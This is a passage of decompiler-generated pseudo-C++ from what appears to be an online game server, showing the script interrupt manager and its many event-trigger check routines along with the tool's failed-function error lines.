*ScriptInterrupt__ScriptInterruptManager___vftable_[3])(__int16 hnd); //----- (004C4740) -------------------------------------------------------- ScriptInterrupt::ScriptInterruptArgument *__thiscall ScriptInterrupt::ScriptInterruptManager::sim_Alloc(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, ScriptInterrupt::ScriptInterruptBase *inst, PineScriptToken *eventblock, int num) { ScriptInterrupt::ScriptInterruptManager *v5; // esi@1 int v6; // eax@1 int v7; // ebp@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->baseclass_0.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = (int)v5->baseclass_0.vfptr->l_AllocZ((List *)v5, v6); if ( v7 ) { *(_DWORD *)v7 = inst; memcpy((void *)(v7 + 4), eventblock, 0x100u); *(_BYTE *)(v7 + 260) = 0; *(_DWORD *)(v7 + 264) = num; *(_QWORD *)(v7 + 268) = *(_QWORD *)&intindex->n4_name[0]; *(_QWORD *)(v7 + 276) = *(_QWORD *)&intindex->n4_name[8]; } else { AssertClass::ac_AssertFail( &shineassert, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc : Too many ScriptInterrupt", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_Alloc"); return (ScriptInterrupt::ScriptInterruptArgument *)v7; } //----- (004C4850) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck(ScriptInterrupt::ScriptInterruptUnitBase *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { ScriptInterrupt::ScriptInterruptUnitBase *v8; // ebx@1 int v9; // eax@2 bool v10; // zf@2 char result; // al@4 v8 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__thiscall *)(_DWORD, _DWORD))v8->baseclass_0.vfptr[1].sib_AreaEntry)(v8, arg); if ( arg->sib_InterruptBlast ) { arg->sib_InterruptBlast = 0; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); ((void (__thiscall *)(_DWORD, _DWORD))v8->baseclass_0.vfptr[1].sib_AreaLeave)(v8, argument); v9 = arg->sib_BlastNumber - 1; v10 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v9; if ( v9 < 0 | v10 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck"); result = 0; } return result; } //----- (004C4970) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // esi@2 bool v9; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { arg->sib_InterruptBlast = 0; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; v9 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v8; if ( v8 < 0 | v9 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck"); result = 0; } return result; } //----- (004C4A80) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck"); result = 0; } return result; } //----- (004C4BA0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast && arg->sib_Argument.area.num > 0 ) JUMPOUT(sub_4C4C44); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck"); return 0; } //----- (004C4C44) -------------------------------------------------------- #error "4C4CE3: positive sp value has been found (funcsize=51)" //----- (004C4D40) -------------------------------------------------------- #error "4C4D40: undefined or illegal type '#331' (funcsize=121)" //----- (004C4EE0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_Argument.area.player; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004C5000) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); result = 0; } return result; } //----- (004C5120) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); result = 0; } return result; } //----- (004C5240) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_Argument.area.player; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004C5360) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptMobEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // eax@2 char result; // al@4 int almc; // [sp+14h] [bp-24h]@1 __int16 v11; // [sp+18h] [bp-20h]@1 int v12; // [sp+1Ch] [bp-1Ch]@1 int v13; // [sp+20h] [bp-18h]@1 int v14; // [sp+24h] [bp-14h]@1 char (__thiscall *v15)(AxialListMobCounter *, #331 *, #331 *); // [sp+28h] [bp-10h]@1 int v16; // [sp+34h] [bp-4h]@1 char arga; // [sp+3Ch] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v11 = -1; v12 = 0; v13 = 0; v14 = 1; v15 = AxialListMobCounter::ala_SearchAll; LOBYTE(v16) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( v13 ) { arga = arg->sib_InterruptBlast; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); result = arga; } else { arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v8; if ( v8 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); result = 1; } return result; } // 5B1660: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C54E0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // eax@2 char result; // al@4 int almc; // [sp+14h] [bp-24h]@1 __int16 v11; // [sp+18h] [bp-20h]@1 int v12; // [sp+1Ch] [bp-1Ch]@1 int v13; // [sp+20h] [bp-18h]@1 int v14; // [sp+24h] [bp-14h]@1 char (__thiscall *v15)(AxialListMobCounter *, #331 *, #331 *); // [sp+28h] [bp-10h]@1 int v16; // [sp+34h] [bp-4h]@1 char arga; // [sp+3Ch] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v11 = -1; v12 = 0; v13 = 0; v14 = 1; v15 = AxialListMobCounter::ala_SearchPly; LOBYTE(v16) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( v13 ) { arga = arg->sib_InterruptBlast; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); result = arga; } else { arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v8; if ( v8 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); result = 1; } return result; } // 5B1660: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C5660) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptGuildEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // esi@1 int v9; // eax@6 char v11; // al@9 int almc; // [sp+14h] [bp-24h]@1 __int16 v13; // [sp+18h] [bp-20h]@1 int v14; // [sp+1Ch] [bp-1Ch]@1 int v15; // [sp+20h] [bp-18h]@1 int v16; // [sp+24h] [bp-14h]@1 char (__thiscall *v17)(AxialListMobCounter *, #331 *, #331 *); // [sp+28h] [bp-10h]@1 int v18; // [sp+34h] [bp-4h]@1 char arga; // [sp+3Ch] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = *(_DWORD *)&arg->sib_Argument.area.areaname[0]; v18 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v13 = -1; v14 = v8; v15 = 0; v16 = 1; v17 = AxialListMobCounter::ala_SearchGld; LOBYTE(v18) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( v15 ) { v11 = arg->sib_InterruptBlast; *(_DWORD *)&arg->sib_Argument.area.areaname[8] = 0; arga = v11; goto LABEL_10; } if ( !*(_DWORD *)&arg->sib_Argument.area.areaname[8] ) *(_DWORD *)&arg->sib_Argument.area.areaname[8] = clockwatch.cw_CurrTick; if ( *(_DWORD *)&arg->sib_Argument.area.areaname[8] + *(_DWORD *)&arg->sib_Argument.area.areaname[4] > clockwatch.cw_CurrTick ) { arga = arg->sib_InterruptBlast; LABEL_10: almc = (int)AxialListMobCounter::_vftable_; LOBYTE(v18) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); return arga; } *(_DWORD *)&arg->sib_Argument.area.areaname[8] = 0; arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v9 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v9; if ( v9 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v18) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); return 1; } // 5B1660: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004C5830) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck(ScriptInterrupt::ScriptInterruptInterval *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // esi@1 unsigned int v9; // ecx@1 char result; // al@2 int v11; // ecx@3 bool v12; // zf@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v8 = funcallanalizer.fca_stackpoint++ + 1; v9 = *(_DWORD *)&arg->sib_Argument.area.areaname[4]; if ( v9 <= clockwatch.cw_CurrTick ) { *(_DWORD *)&arg->sib_Argument.area.areaname[4] = v9 + *(_DWORD *)&arg->sib_Argument.area.areaname[0]; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v11 = arg->sib_BlastNumber - 1; v12 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v11; if ( v11 < 0 | v12 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); result = 1; } else { funcallanalizer.fca_stackpoint = v8 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); result = 0; } return result; } //----- (004C5950) -------------------------------------------------------- #error "4C5950: undefined or illegal type '#331' (funcsize=133)" //----- (004C5B10) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTimeOut *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { char result; // al@2 int v9; // eax@3 bool v10; // zf@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Movie::TimeLimit::tl_LeftTick(timelimit) <= 0 ) { v9 = arg->sib_BlastNumber - 1; v10 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v9; if ( v9 < 0 | v10 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); result = 0; } return result; } //----- (004C5C10) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // eax@2 bool v9; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; v9 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v8; if ( v8 < 0 | v9 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); result = 0; } return result; } //----- (004C5D10) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[2]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall 